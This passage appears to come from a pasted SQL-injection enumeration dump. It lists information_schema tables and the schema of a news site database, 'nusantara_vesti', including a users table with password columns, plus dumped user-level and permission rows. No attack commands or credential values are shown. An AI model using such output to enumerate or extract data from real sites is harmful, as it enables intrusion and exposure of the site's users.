  799. | WORD | varchar(337) |
  800. +--------------+---------------------+
  801.  
  802. Database: information_schema
  803. Table: INNODB_CMPMEM
  804. [6 columns]
  805. +----------------------+------------+
  806. | Column | Type |
  807. +----------------------+------------+
  808. | buffer_pool_instance | int(11) |
  809. | page_size | int(5) |
  810. | pages_free | int(11) |
  811. | pages_used | int(11) |
  812. | relocation_ops | bigint(21) |
  813. | relocation_time | int(11) |
  814. +----------------------+------------+
  815.  
  816. Database: information_schema
  817. Table: EVENTS
  818. [24 columns]
  819. +----------------------+---------------+
  820. | Column | Type |
  821. +----------------------+---------------+
  822. | CHARACTER_SET_CLIENT | varchar(32) |
  823. | COLLATION_CONNECTION | varchar(32) |
  824. | CREATED | datetime |
  825. | DATABASE_COLLATION | varchar(32) |
  826. | DEFINER | varchar(93) |
  827. | ENDS | datetime |
  828. | EVENT_BODY | varchar(8) |
  829. | EVENT_CATALOG | varchar(64) |
  830. | EVENT_COMMENT | varchar(64) |
  831. | EVENT_DEFINITION | longtext |
  832. | EVENT_NAME | varchar(64) |
  833. | EVENT_SCHEMA | varchar(64) |
  834. | EVENT_TYPE | varchar(9) |
  835. | EXECUTE_AT | datetime |
  836. | INTERVAL_FIELD | varchar(18) |
  837. | INTERVAL_VALUE | varchar(256) |
  838. | LAST_ALTERED | datetime |
  839. | LAST_EXECUTED | datetime |
  840. | ON_COMPLETION | varchar(12) |
  841. | ORIGINATOR | bigint(10) |
  842. | SQL_MODE | varchar(8192) |
  843. | STARTS | datetime |
  844. | STATUS | varchar(18) |
  845. | TIME_ZONE | varchar(64) |
  846. +----------------------+---------------+
  847.  
  848. Database: information_schema
  849. Table: FILES
  850. [38 columns]
  851. +----------------------+---------------------+
  852. | Column | Type |
  853. +----------------------+---------------------+
  854. | VERSION | bigint(21) unsigned |
  855. | AUTOEXTEND_SIZE | bigint(21) unsigned |
  856. | AVG_ROW_LENGTH | bigint(21) unsigned |
  857. | CHECK_TIME | datetime |
  858. | CHECKSUM | bigint(21) unsigned |
  859. | CREATE_TIME | datetime |
  860. | CREATION_TIME | datetime |
  861. | DATA_FREE | bigint(21) unsigned |
  862. | DATA_LENGTH | bigint(21) unsigned |
  863. | DELETED_ROWS | bigint(4) |
  864. | ENGINE | varchar(64) |
  865. | EXTENT_SIZE | bigint(4) |
  866. | EXTRA | varchar(255) |
  867. | FILE_ID | bigint(4) |
  868. | FILE_NAME | varchar(4000) |
  869. | FILE_TYPE | varchar(20) |
  870. | FREE_EXTENTS | bigint(4) |
  871. | FULLTEXT_KEYS | varchar(64) |
  872. | INDEX_LENGTH | bigint(21) unsigned |
  873. | INITIAL_SIZE | bigint(21) unsigned |
  874. | LAST_ACCESS_TIME | datetime |
  875. | LAST_UPDATE_TIME | datetime |
  876. | LOGFILE_GROUP_NAME | varchar(64) |
  877. | LOGFILE_GROUP_NUMBER | bigint(4) |
  878. | MAX_DATA_LENGTH | bigint(21) unsigned |
  879. | MAXIMUM_SIZE | bigint(21) unsigned |
  880. | RECOVER_TIME | bigint(4) |
  881. | ROW_FORMAT | varchar(20) |
  882. | STATUS | varchar(20) |
  883. | TABLE_CATALOG | varchar(64) |
  884. | TABLE_NAME | varchar(64) |
  885. | TABLE_ROWS | bigint(21) unsigned |
  886. | TABLE_SCHEMA | varchar(64) |
  887. | TABLESPACE_NAME | varchar(64) |
  888. | TOTAL_EXTENTS | bigint(4) |
  889. | TRANSACTION_COUNTER | bigint(4) |
  890. | UPDATE_COUNT | bigint(4) |
  891. | UPDATE_TIME | datetime |
  892. +----------------------+---------------------+
  893.  
  894. Database: information_schema
  895. Table: USER_STATISTICS
  896. [22 columns]
  897. +------------------------+---------------------+
  898. | Column | Type |
  899. +------------------------+---------------------+
  900. | USER | varchar(96) |
  901. | ACCESS_DENIED | bigint(21) unsigned |
  902. | BINLOG_BYTES_WRITTEN | bigint(21) unsigned |
  903. | BUSY_TIME | bigint(21) unsigned |
  904. | BYTES_RECEIVED | bigint(21) unsigned |
  905. | BYTES_SENT | bigint(21) unsigned |
  906. | COMMIT_TRANSACTIONS | bigint(21) unsigned |
  907. | CONCURRENT_CONNECTIONS | bigint(21) unsigned |
  908. | CONNECTED_TIME | bigint(21) unsigned |
  909. | CPU_TIME | bigint(21) unsigned |
  910. | DENIED_CONNECTIONS | bigint(21) unsigned |
  911. | EMPTY_QUERIES | bigint(21) unsigned |
  912. | LOST_CONNECTIONS | bigint(21) unsigned |
  913. | OTHER_COMMANDS | bigint(21) unsigned |
  914. | ROLLBACK_TRANSACTIONS | bigint(21) unsigned |
  915. | ROWS_FETCHED | bigint(21) unsigned |
  916. | ROWS_UPDATED | bigint(21) unsigned |
  917. | SELECT_COMMANDS | bigint(21) unsigned |
  918. | TABLE_ROWS_READ | bigint(21) unsigned |
  919. | TOTAL_CONNECTIONS | bigint(21) unsigned |
  920. | TOTAL_SSL_CONNECTIONS | bigint(21) unsigned |
  921. | UPDATE_COMMANDS | bigint(21) unsigned |
  922. +------------------------+---------------------+
  923.  
  924. Database: information_schema
  925. Table: INNODB_CMP_RESET
  926. [6 columns]
  927. +-----------------+---------+
  928. | Column | Type |
  929. +-----------------+---------+
  930. | compress_ops | int(11) |
  931. | compress_ops_ok | int(11) |
  932. | compress_time | int(11) |
  933. | page_size | int(5) |
  934. | uncompress_ops | int(11) |
  935. | uncompress_time | int(11) |
  936. +-----------------+---------+
  937.  
  938. Database: information_schema
  939. Table: INNODB_SYS_TABLESPACES
  940. [11 columns]
  941. +----------------+---------------------+
  942. | Column | Type |
  943. +----------------+---------------------+
  944. | SPACE | int(11) unsigned |
  945. | ALLOCATED_SIZE | bigint(21) unsigned |
  946. | FILE_FORMAT | varchar(10) |
  947. | FILE_SIZE | bigint(21) unsigned |
  948. | FLAG | int(11) unsigned |
  949. | FS_BLOCK_SIZE | int(11) unsigned |
  950. | NAME | varchar(655) |
  951. | PAGE_SIZE | int(11) unsigned |
  952. | ROW_FORMAT | varchar(22) |
  953. | SPACE_TYPE | varchar(10) |
  954. | ZIP_PAGE_SIZE | int(11) unsigned |
  955. +----------------+---------------------+
  956.  
  957. Database: information_schema
  958. Table: COLLATIONS
  959. [6 columns]
  960. +--------------------+-------------+
  961. | Column | Type |
  962. +--------------------+-------------+
  963. | CHARACTER_SET_NAME | varchar(32) |
  964. | COLLATION_NAME | varchar(32) |
  965. | ID | bigint(11) |
  966. | IS_COMPILED | varchar(3) |
  967. | IS_DEFAULT | varchar(3) |
  968. | SORTLEN | bigint(3) |
  969. +--------------------+-------------+
  970.  
  971. Database: information_schema
  972. Table: REFERENTIAL_CONSTRAINTS
  973. [11 columns]
  974. +---------------------------+--------------+
  975. | Column | Type |
  976. +---------------------------+--------------+
  977. | CONSTRAINT_CATALOG | varchar(512) |
  978. | CONSTRAINT_NAME | varchar(64) |
  979. | CONSTRAINT_SCHEMA | varchar(64) |
  980. | DELETE_RULE | varchar(64) |
  981. | MATCH_OPTION | varchar(64) |
  982. | REFERENCED_TABLE_NAME | varchar(64) |
  983. | TABLE_NAME | varchar(64) |
  984. | UNIQUE_CONSTRAINT_CATALOG | varchar(512) |
  985. | UNIQUE_CONSTRAINT_NAME | varchar(64) |
  986. | UNIQUE_CONSTRAINT_SCHEMA | varchar(64) |
  987. | UPDATE_RULE | varchar(64) |
  988. +---------------------------+--------------+
  989.  
  990. Database: information_schema
  991. Table: PROCESSLIST
  992. [11 columns]
  993. +---------------+---------------------+
  994. | Column | Type |
  995. +---------------+---------------------+
  996. | TIME | int(7) |
  997. | USER | varchar(32) |
  998. | COMMAND | varchar(16) |
  999. | DB | varchar(64) |
  1000. | HOST | varchar(64) |
  1001. | ID | bigint(21) unsigned |
  1002. | INFO | longtext |
  1003. | ROWS_EXAMINED | bigint(21) unsigned |
  1004. | ROWS_SENT | bigint(21) unsigned |
  1005. | STATE | varchar(64) |
  1006. | TIME_MS | bigint(21) |
  1007. +---------------+---------------------+
  1008.  
  1009. Database: information_schema
  1010. Table: PROFILING
  1011. [18 columns]
  1012. +---------------------+--------------+
  1013. | Column | Type |
  1014. +---------------------+--------------+
  1015. | BLOCK_OPS_IN | int(20) |
  1016. | BLOCK_OPS_OUT | int(20) |
  1017. | CONTEXT_INVOLUNTARY | int(20) |
  1018. | CONTEXT_VOLUNTARY | int(20) |
  1019. | CPU_SYSTEM | decimal(9,6) |
  1020. | CPU_USER | decimal(9,6) |
  1021. | DURATION | decimal(9,6) |
  1022. | MESSAGES_RECEIVED | int(20) |
  1023. | MESSAGES_SENT | int(20) |
  1024. | PAGE_FAULTS_MAJOR | int(20) |
  1025. | PAGE_FAULTS_MINOR | int(20) |
  1026. | QUERY_ID | int(20) |
  1027. | SEQ | int(20) |
  1028. | SOURCE_FILE | varchar(20) |
  1029. | SOURCE_FUNCTION | varchar(30) |
  1030. | SOURCE_LINE | int(20) |
  1031. | STATE | varchar(30) |
  1032. | SWAPS | int(20) |
  1033. +---------------------+--------------+
  1034.  
  1035. Database: information_schema
  1036. Table: XTRADB_READ_VIEW
  1037. [3 columns]
  1038. +--------------------------------+-------------+
  1039. | Column | Type |
  1040. +--------------------------------+-------------+
  1041. | READ_VIEW_LOW_LIMIT_TRX_ID | varchar(18) |
  1042. | READ_VIEW_LOW_LIMIT_TRX_NUMBER | varchar(18) |
  1043. | READ_VIEW_UPPER_LIMIT_TRX_ID | varchar(18) |
  1044. +--------------------------------+-------------+
  1045.  
  1046. Database: information_schema
  1047. Table: INNODB_CMP
  1048. [6 columns]
  1049. +-----------------+---------+
  1050. | Column | Type |
  1051. +-----------------+---------+
  1052. | compress_ops | int(11) |
  1053. | compress_ops_ok | int(11) |
  1054. | compress_time | int(11) |
  1055. | page_size | int(5) |
  1056. | uncompress_ops | int(11) |
  1057. | uncompress_time | int(11) |
  1058. +-----------------+---------+
  1059.  
  1060. Database: information_schema
  1061. Table: INNODB_FT_DELETED
  1062. [1 column]
  1063. +--------+---------------------+
  1064. | Column | Type |
  1065. +--------+---------------------+
  1066. | DOC_ID | bigint(21) unsigned |
  1067. +--------+---------------------+
  1068.  
  1069. Database: information_schema
  1070. Table: INNODB_SYS_TABLESTATS
  1071. [9 columns]
  1072. +-------------------+---------------------+
  1073. | Column | Type |
  1074. +-------------------+---------------------+
  1075. | AUTOINC | bigint(21) unsigned |
  1076. | CLUST_INDEX_SIZE | bigint(21) unsigned |
  1077. | MODIFIED_COUNTER | bigint(21) unsigned |
  1078. | NAME | varchar(193) |
  1079. | NUM_ROWS | bigint(21) unsigned |
  1080. | OTHER_INDEX_SIZE | bigint(21) unsigned |
  1081. | REF_COUNT | int(11) |
  1082. | STATS_INITIALIZED | varchar(193) |
  1083. | TABLE_ID | bigint(21) unsigned |
  1084. +-------------------+---------------------+
  1085.  
  1086. Database: information_schema
  1087. Table: INNODB_SYS_FIELDS
  1088. [3 columns]
  1089. +----------+---------------------+
  1090. | Column | Type |
  1091. +----------+---------------------+
  1092. | INDEX_ID | bigint(21) unsigned |
  1093. | NAME | varchar(193) |
  1094. | POS | int(11) unsigned |
  1095. +----------+---------------------+
  1096.  
  1097. Database: information_schema
  1098. Table: INNODB_LOCK_WAITS
  1099. [4 columns]
  1100. +-------------------+-------------+
  1101. | Column | Type |
  1102. +-------------------+-------------+
  1103. | blocking_lock_id | varchar(81) |
  1104. | blocking_trx_id | varchar(18) |
  1105. | requested_lock_id | varchar(81) |
  1106. | requesting_trx_id | varchar(18) |
  1107. +-------------------+-------------+
  1108.  
  1109. Database: information_schema
  1110. Table: TEMPORARY_TABLES
  1111. [11 columns]
  1112. +----------------+---------------------+
  1113. | Column | Type |
  1114. +----------------+---------------------+
  1115. | AVG_ROW_LENGTH | bigint(21) unsigned |
  1116. | CREATE_TIME | datetime |
  1117. | DATA_LENGTH | bigint(21) unsigned |
  1118. | ENGINE | varchar(64) |
  1119. | INDEX_LENGTH | bigint(21) unsigned |
  1120. | NAME | varchar(512) |
  1121. | SESSION_ID | bigint(4) |
  1122. | TABLE_NAME | varchar(64) |
  1123. | TABLE_ROWS | bigint(21) unsigned |
  1124. | TABLE_SCHEMA | varchar(64) |
  1125. | UPDATE_TIME | datetime |
  1126. +----------------+---------------------+
  1127.  
  1128. Database: information_schema
  1129. Table: GLOBAL_TEMPORARY_TABLES
  1130. [11 columns]
  1131. +----------------+---------------------+
  1132. | Column | Type |
  1133. +----------------+---------------------+
  1134. | AVG_ROW_LENGTH | bigint(21) unsigned |
  1135. | CREATE_TIME | datetime |
  1136. | DATA_LENGTH | bigint(21) unsigned |
  1137. | ENGINE | varchar(64) |
  1138. | INDEX_LENGTH | bigint(21) unsigned |
  1139. | NAME | varchar(512) |
  1140. | SESSION_ID | bigint(4) |
  1141. | TABLE_NAME | varchar(64) |
  1142. | TABLE_ROWS | bigint(21) unsigned |
  1143. | TABLE_SCHEMA | varchar(64) |
  1144. | UPDATE_TIME | datetime |
  1145. +----------------+---------------------+
  1146.  
  1147. Database: information_schema
  1148. Table: TABLES
  1149. [21 columns]
  1150. +-----------------+---------------------+
  1151. | Column | Type |
  1152. +-----------------+---------------------+
  1153. | VERSION | bigint(21) unsigned |
  1154. | AUTO_INCREMENT | bigint(21) unsigned |
  1155. | AVG_ROW_LENGTH | bigint(21) unsigned |
  1156. | CHECK_TIME | datetime |
  1157. | CHECKSUM | bigint(21) unsigned |
  1158. | CREATE_OPTIONS | varchar(255) |
  1159. | CREATE_TIME | datetime |
  1160. | DATA_FREE | bigint(21) unsigned |
  1161. | DATA_LENGTH | bigint(21) unsigned |
  1162. | ENGINE | varchar(64) |
  1163. | INDEX_LENGTH | bigint(21) unsigned |
  1164. | MAX_DATA_LENGTH | bigint(21) unsigned |
  1165. | ROW_FORMAT | varchar(20) |
  1166. | TABLE_CATALOG | varchar(512) |
  1167. | TABLE_COLLATION | varchar(32) |
  1168. | TABLE_COMMENT | varchar(2048) |
  1169. | TABLE_NAME | varchar(64) |
  1170. | TABLE_ROWS | bigint(21) unsigned |
  1171. | TABLE_SCHEMA | varchar(64) |
  1172. | TABLE_TYPE | varchar(64) |
  1173. | UPDATE_TIME | datetime |
  1174. +-----------------+---------------------+
  1175.  
  1176. Database: information_schema
  1177. Table: INNODB_FT_DEFAULT_STOPWORD
  1178. [1 column]
  1179. +--------+-------------+
  1180. | Column | Type |
  1181. +--------+-------------+
  1182. | value | varchar(18) |
  1183. +--------+-------------+
  1184.  
  1185. Database: information_schema
  1186. Table: STATISTICS
  1187. [16 columns]
  1188. +---------------+---------------+
  1189. | Column | Type |
  1190. +---------------+---------------+
  1191. | COLLATION | varchar(1) |
  1192. | CARDINALITY | bigint(21) |
  1193. | COLUMN_NAME | varchar(64) |
  1194. | COMMENT | varchar(16) |
  1195. | INDEX_COMMENT | varchar(1024) |
  1196. | INDEX_NAME | varchar(64) |
  1197. | INDEX_SCHEMA | varchar(64) |
  1198. | INDEX_TYPE | varchar(16) |
  1199. | NON_UNIQUE | bigint(1) |
  1200. | NULLABLE | varchar(3) |
  1201. | PACKED | varchar(10) |
  1202. | SEQ_IN_INDEX | bigint(2) |
  1203. | SUB_PART | bigint(3) |
  1204. | TABLE_CATALOG | varchar(512) |
  1205. | TABLE_NAME | varchar(64) |
  1206. | TABLE_SCHEMA | varchar(64) |
  1207. +---------------+---------------+
  1208.  
  1209. Database: information_schema
  1210. Table: INNODB_SYS_TABLES
  1211. [9 columns]
  1212. +---------------+---------------------+
  1213. | Column | Type |
  1214. +---------------+---------------------+
  1215. | SPACE | int(11) |
  1216. | FILE_FORMAT | varchar(10) |
  1217. | FLAG | int(11) |
  1218. | N_COLS | int(11) |
  1219. | NAME | varchar(655) |
  1220. | ROW_FORMAT | varchar(12) |
  1221. | SPACE_TYPE | varchar(10) |
  1222. | TABLE_ID | bigint(21) unsigned |
  1223. | ZIP_PAGE_SIZE | int(11) unsigned |
  1224. +---------------+---------------------+
  1225.  
  1226. Database: information_schema
  1227. Table: INNODB_CHANGED_PAGES
  1228. [4 columns]
  1229. +-----------+---------------------+
  1230. | Column | Type |
  1231. +-----------+---------------------+
  1232. | end_lsn | bigint(21) unsigned |
  1233. | page_id | int(11) unsigned |
  1234. | space_id | int(11) unsigned |
  1235. | start_lsn | bigint(21) unsigned |
  1236. +-----------+---------------------+
  1237.  
  1238. Database: information_schema
  1239. Table: VIEWS
  1240. [10 columns]
  1241. +----------------------+--------------+
  1242. | Column | Type |
  1243. +----------------------+--------------+
  1244. | CHARACTER_SET_CLIENT | varchar(32) |
  1245. | CHECK_OPTION | varchar(8) |
  1246. | COLLATION_CONNECTION | varchar(32) |
  1247. | DEFINER | varchar(93) |
  1248. | IS_UPDATABLE | varchar(3) |
  1249. | SECURITY_TYPE | varchar(7) |
  1250. | TABLE_CATALOG | varchar(512) |
  1251. | TABLE_NAME | varchar(64) |
  1252. | TABLE_SCHEMA | varchar(64) |
  1253. | VIEW_DEFINITION | longtext |
  1254. +----------------------+--------------+
  1255.  
  1256. Database: information_schema
  1257. Table: KEY_COLUMN_USAGE
  1258. [12 columns]
  1259. +-------------------------------+--------------+
  1260. | Column | Type |
  1261. +-------------------------------+--------------+
  1262. | COLUMN_NAME | varchar(64) |
  1263. | CONSTRAINT_CATALOG | varchar(512) |
  1264. | CONSTRAINT_NAME | varchar(64) |
  1265. | CONSTRAINT_SCHEMA | varchar(64) |
  1266. | ORDINAL_POSITION | bigint(10) |
  1267. | POSITION_IN_UNIQUE_CONSTRAINT | bigint(10) |
  1268. | REFERENCED_COLUMN_NAME | varchar(64) |
  1269. | REFERENCED_TABLE_NAME | varchar(64) |
  1270. | REFERENCED_TABLE_SCHEMA | varchar(64) |
  1271. | TABLE_CATALOG | varchar(512) |
  1272. | TABLE_NAME | varchar(64) |
  1273. | TABLE_SCHEMA | varchar(64) |
  1274. +-------------------------------+--------------+
  1275.  
  1276. Database: information_schema
  1277. Table: TRIGGERS
  1278. [22 columns]
  1279. +----------------------------+---------------+
  1280. | Column | Type |
  1281. +----------------------------+---------------+
  1282. | ACTION_CONDITION | longtext |
  1283. | ACTION_ORDER | bigint(4) |
  1284. | ACTION_ORIENTATION | varchar(9) |
  1285. | ACTION_REFERENCE_NEW_ROW | varchar(3) |
  1286. | ACTION_REFERENCE_NEW_TABLE | varchar(64) |
  1287. | ACTION_REFERENCE_OLD_ROW | varchar(3) |
  1288. | ACTION_REFERENCE_OLD_TABLE | varchar(64) |
  1289. | ACTION_STATEMENT | longtext |
  1290. | ACTION_TIMING | varchar(6) |
  1291. | CHARACTER_SET_CLIENT | varchar(32) |
  1292. | COLLATION_CONNECTION | varchar(32) |
  1293. | CREATED | datetime(2) |
  1294. | DATABASE_COLLATION | varchar(32) |
  1295. | DEFINER | varchar(93) |
  1296. | EVENT_MANIPULATION | varchar(6) |
  1297. | EVENT_OBJECT_CATALOG | varchar(512) |
  1298. | EVENT_OBJECT_SCHEMA | varchar(64) |
  1299. | EVENT_OBJECT_TABLE | varchar(64) |
  1300. | SQL_MODE | varchar(8192) |
  1301. | TRIGGER_CATALOG | varchar(512) |
  1302. | TRIGGER_NAME | varchar(64) |
  1303. | TRIGGER_SCHEMA | varchar(64) |
  1304. +----------------------------+---------------+
  1305.  
  1306. Database: information_schema
  1307. Table: INNODB_SYS_DATAFILES
  1308. [2 columns]
  1309. +--------+------------------+
  1310. | Column | Type |
  1311. +--------+------------------+
  1312. | PATH | varchar(4000) |
  1313. | SPACE | int(11) unsigned |
  1314. +--------+------------------+
  1315.  
  1316. Database: information_schema
  1317. Table: SCHEMA_PRIVILEGES
  1318. [5 columns]
  1319. +----------------+--------------+
  1320. | Column | Type |
  1321. +----------------+--------------+
  1322. | GRANTEE | varchar(81) |
  1323. | IS_GRANTABLE | varchar(3) |
  1324. | PRIVILEGE_TYPE | varchar(64) |
  1325. | TABLE_CATALOG | varchar(512) |
  1326. | TABLE_SCHEMA | varchar(64) |
  1327. +----------------+--------------+
  1328.  
  1329. Database: information_schema
  1330. Table: SESSION_VARIABLES
  1331. [2 columns]
  1332. +----------------+---------------+
  1333. | Column | Type |
  1334. +----------------+---------------+
  1335. | VARIABLE_NAME | varchar(64) |
  1336. | VARIABLE_VALUE | varchar(1024) |
  1337. +----------------+---------------+
  1338.  
  1339. Database: information_schema
  1340. Table: XTRADB_RSEG
  1341. [8 columns]
  1342. +--------------------+---------------------+
  1343. | Column | Type |
  1344. +--------------------+---------------------+
  1345. | curr_size | bigint(21) unsigned |
  1346. | is_compressed | tinyint(1) unsigned |
  1347. | logical_page_size | bigint(21) unsigned |
  1348. | max_size | bigint(21) unsigned |
  1349. | page_no | bigint(21) unsigned |
  1350. | physical_page_size | bigint(21) unsigned |
  1351. | rseg_id | bigint(21) unsigned |
  1352. | space_id | bigint(21) unsigned |
  1353. +--------------------+---------------------+
  1354.  
  1355. Database: information_schema
  1356. Table: GLOBAL_STATUS
  1357. [2 columns]
  1358. +----------------+---------------+
  1359. | Column | Type |
  1360. +----------------+---------------+
  1361. | VARIABLE_NAME | varchar(64) |
  1362. | VARIABLE_VALUE | varchar(1024) |
  1363. +----------------+---------------+
  1364.  
  1365. Database: information_schema
  1366. Table: INNODB_FT_CONFIG
  1367. [2 columns]
  1368. +--------+--------------+
  1369. | Column | Type |
  1370. +--------+--------------+
  1371. | KEY | varchar(193) |
  1372. | VALUE | varchar(193) |
  1373. +--------+--------------+
  1374.  
  1375. Database: information_schema
  1376. Table: XTRADB_ZIP_DICT
  1377. [3 columns]
  1378. +----------+---------------------+
  1379. | Column | Type |
  1380. +----------+---------------------+
  1381. | id | bigint(21) unsigned |
  1382. | name | varchar(64) |
  1383. | zip_dict | blob |
  1384. +----------+---------------------+
  1385.  
  1386. Database: information_schema
  1387. Table: INNODB_TRX
  1388. [24 columns]
  1389. +----------------------------+---------------------+
  1390. | Column | Type |
  1391. +----------------------------+---------------------+
  1392. | trx_adaptive_hash_latched | int(1) |
  1393. | trx_adaptive_hash_timeout | bigint(21) unsigned |
  1394. | trx_autocommit_non_locking | int(1) |
  1395. | trx_concurrency_tickets | bigint(21) unsigned |
  1396. | trx_foreign_key_checks | int(1) |
  1397. | trx_id | varchar(18) |
  1398. | trx_is_read_only | int(1) |
  1399. | trx_isolation_level | varchar(16) |
  1400. | trx_last_foreign_key_error | varchar(256) |
  1401. | trx_lock_memory_bytes | bigint(21) unsigned |
  1402. | trx_lock_structs | bigint(21) unsigned |
  1403. | trx_mysql_thread_id | bigint(21) unsigned |
  1404. | trx_operation_state | varchar(64) |
  1405. | trx_query | varchar(1024) |
  1406. | trx_requested_lock_id | varchar(81) |
  1407. | trx_rows_locked | bigint(21) unsigned |
  1408. | trx_rows_modified | bigint(21) unsigned |
  1409. | trx_started | datetime |
  1410. | trx_state | varchar(13) |
  1411. | trx_tables_in_use | bigint(21) unsigned |
  1412. | trx_tables_locked | bigint(21) unsigned |
  1413. | trx_unique_checks | int(1) |
  1414. | trx_wait_started | datetime |
  1415. | trx_weight | bigint(21) unsigned |
  1416. +----------------------------+---------------------+
  1417.  
  1418. Database: information_schema
  1419. Table: THREAD_STATISTICS
  1420. [22 columns]
  1421. +------------------------+---------------------+
  1422. | Column | Type |
  1423. +------------------------+---------------------+
  1424. | ACCESS_DENIED | bigint(21) unsigned |
  1425. | BINLOG_BYTES_WRITTEN | bigint(21) unsigned |
  1426. | BUSY_TIME | bigint(21) unsigned |
  1427. | BYTES_RECEIVED | bigint(21) unsigned |
  1428. | BYTES_SENT | bigint(21) unsigned |
  1429. | COMMIT_TRANSACTIONS | bigint(21) unsigned |
  1430. | CONCURRENT_CONNECTIONS | bigint(21) unsigned |
  1431. | CONNECTED_TIME | bigint(21) unsigned |
  1432. | CPU_TIME | bigint(21) unsigned |
  1433. | DENIED_CONNECTIONS | bigint(21) unsigned |
  1434. | EMPTY_QUERIES | bigint(21) unsigned |
  1435. | LOST_CONNECTIONS | bigint(21) unsigned |
  1436. | OTHER_COMMANDS | bigint(21) unsigned |
  1437. | ROLLBACK_TRANSACTIONS | bigint(21) unsigned |
  1438. | ROWS_FETCHED | bigint(21) unsigned |
  1439. | ROWS_UPDATED | bigint(21) unsigned |
  1440. | SELECT_COMMANDS | bigint(21) unsigned |
  1441. | TABLE_ROWS_READ | bigint(21) unsigned |
  1442. | THREAD_ID | bigint(21) unsigned |
  1443. | TOTAL_CONNECTIONS | bigint(21) unsigned |
  1444. | TOTAL_SSL_CONNECTIONS | bigint(21) unsigned |
  1445. | UPDATE_COMMANDS | bigint(21) unsigned |
  1446. +------------------------+---------------------+
  1447.  
  1448. Database: information_schema
  1449. Table: INNODB_BUFFER_PAGE
  1450. [20 columns]
  1451. +---------------------+---------------------+
  1452. | Column | Type |
  1453. +---------------------+---------------------+
  1454. | SPACE | bigint(21) unsigned |
  1455. | ACCESS_TIME | bigint(21) unsigned |
  1456. | BLOCK_ID | bigint(21) unsigned |
  1457. | COMPRESSED_SIZE | bigint(21) unsigned |
  1458. | DATA_SIZE | bigint(21) unsigned |
  1459. | FIX_COUNT | bigint(21) unsigned |
  1460. | FLUSH_TYPE | bigint(21) unsigned |
  1461. | FREE_PAGE_CLOCK | bigint(21) unsigned |
  1462. | INDEX_NAME | varchar(1024) |
  1463. | IO_FIX | varchar(64) |
  1464. | IS_HASHED | varchar(3) |
  1465. | IS_OLD | varchar(3) |
  1466. | NEWEST_MODIFICATION | bigint(21) unsigned |
  1467. | NUMBER_RECORDS | bigint(21) unsigned |
  1468. | OLDEST_MODIFICATION | bigint(21) unsigned |
  1469. | PAGE_NUMBER | bigint(21) unsigned |
  1470. | PAGE_STATE | varchar(64) |
  1471. | PAGE_TYPE | varchar(64) |
  1472. | POOL_ID | bigint(21) unsigned |
  1473. | TABLE_NAME | varchar(1024) |
  1474. +---------------------+---------------------+
  1475.  
  1476. Database: information_schema
  1477. Table: TABLE_STATISTICS
  1478. [5 columns]
  1479. +------------------------+---------------------+
  1480. | Column | Type |
  1481. +------------------------+---------------------+
  1482. | ROWS_CHANGED | bigint(21) unsigned |
  1483. | ROWS_CHANGED_X_INDEXES | bigint(21) unsigned |
  1484. | ROWS_READ | bigint(21) unsigned |
  1485. | TABLE_NAME | varchar(192) |
  1486. | TABLE_SCHEMA | varchar(192) |
  1487. +------------------------+---------------------+
  1488.  
  1489. Database: information_schema
  1490. Table: TABLE_PRIVILEGES
  1491. [6 columns]
  1492. +----------------+--------------+
  1493. | Column | Type |
  1494. +----------------+--------------+
  1495. | GRANTEE | varchar(81) |
  1496. | IS_GRANTABLE | varchar(3) |
  1497. | PRIVILEGE_TYPE | varchar(64) |
  1498. | TABLE_CATALOG | varchar(512) |
  1499. | TABLE_NAME | varchar(64) |
  1500. | TABLE_SCHEMA | varchar(64) |
  1501. +----------------+--------------+
  1502.  
  1503. Database: information_schema
  1504. Table: INNODB_CMPMEM_RESET
  1505. [6 columns]
  1506. +----------------------+------------+
  1507. | Column | Type |
  1508. +----------------------+------------+
  1509. | buffer_pool_instance | int(11) |
  1510. | page_size | int(5) |
  1511. | pages_free | int(11) |
  1512. | pages_used | int(11) |
  1513. | relocation_ops | bigint(21) |
  1514. | relocation_time | int(11) |
  1515. +----------------------+------------+
  1516.  
  1517. Database: information_schema
  1518. Table: XTRADB_ZIP_DICT_COLS
  1519. [3 columns]
  1520. +------------+---------------------+
  1521. | Column | Type |
  1522. +------------+---------------------+
  1523. | column_pos | bigint(21) unsigned |
  1524. | dict_id | bigint(21) unsigned |
  1525. | table_id | bigint(21) unsigned |
  1526. +------------+---------------------+
  1527.  
  1528. Database: nusantara_vesti
  1529. Table: userlevels
  1530. [2 columns]
  1531. +---------------+-------------+
  1532. | Column | Type |
  1533. +---------------+-------------+
  1534. | UserLevelID | int(11) |
  1535. | UserLevelName | varchar(50) |
  1536. +---------------+-------------+
  1537.  
  1538. Database: nusantara_vesti
  1539. Table: userlevelpermissions
  1540. [3 columns]
  1541. +---------------------+-------------+
  1542. | Column | Type |
  1543. +---------------------+-------------+
  1544. | UserLevelID | int(11) |
  1545. | UserLevelPermission | int(11) |
  1546. | UserLevelTableName | varchar(50) |
  1547. +---------------------+-------------+
  1548.  
  1549. Database: nusantara_vesti
  1550. Table: users
  1551. [7 columns]
  1552. +-----------+--------------+
  1553. | Column | Type |
  1554. +-----------+--------------+
  1555. | Email | varchar(50) |
  1556. | IDU | int(11) |
  1557. | Ime | varchar(255) |
  1558. | Password | varchar(16) |
  1559. | Prezime | varchar(255) |
  1560. | UserLevel | int(11) |
  1561. | Username | varchar(15) |
  1562. +-----------+--------------+
  1563.  
  1564. Database: nusantara_vesti
  1565. Table: vest
  1566. [8 columns]
  1567. +-----------+--------------+
  1568. | Column | Type |
  1569. +-----------+--------------+
  1570. | DateStamp | timestamp |
  1571. | DatumV | date |
  1572. | IDV | int(11) |
  1573. | NaslovE | varchar(200) |
  1574. | NaslovS | varchar(200) |
  1575. | VaziV | tinyint(4) |
  1576. | VestE | text |
  1577. | VestS | text |
  1578. +-----------+--------------+
  1579.  
  1580. Database: nusantara_vesti
  1581. Table: userlevels
  1582. [3 entries]
  1583. +-------------+---------------+
  1584. | UserLevelID | UserLevelName |
  1585. +-------------+---------------+
  1586. | -1 | Administrator |
  1587. | 0 | Default |
  1588. | 2 | Unos |
  1589. +-------------+---------------+
  1590.  
  1591. Database: nusantara_vesti
  1592. Table: userlevelpermissions
  1593. [8 entries]
  1594. +-------------+--------------------+---------------------+
  1595. | UserLevelID | UserLevelTableName | UserLevelPermission |
  1596. +-------------+--------------------+---------------------+
  1597. | 0 | Users | 0 |
  1598. | 0 | Vest | 0 |
  1599. | 0 | Vesti SR | 0 |
  1600. | 0 | Vesti ENG | 0 |
  1601. | 2 | vest | 0 |
  1602. | 2 | users | 0 |
  1603. | 2 | Vesti SR | 15 |
  1604. | 2 | Vesti ENG | 15 |
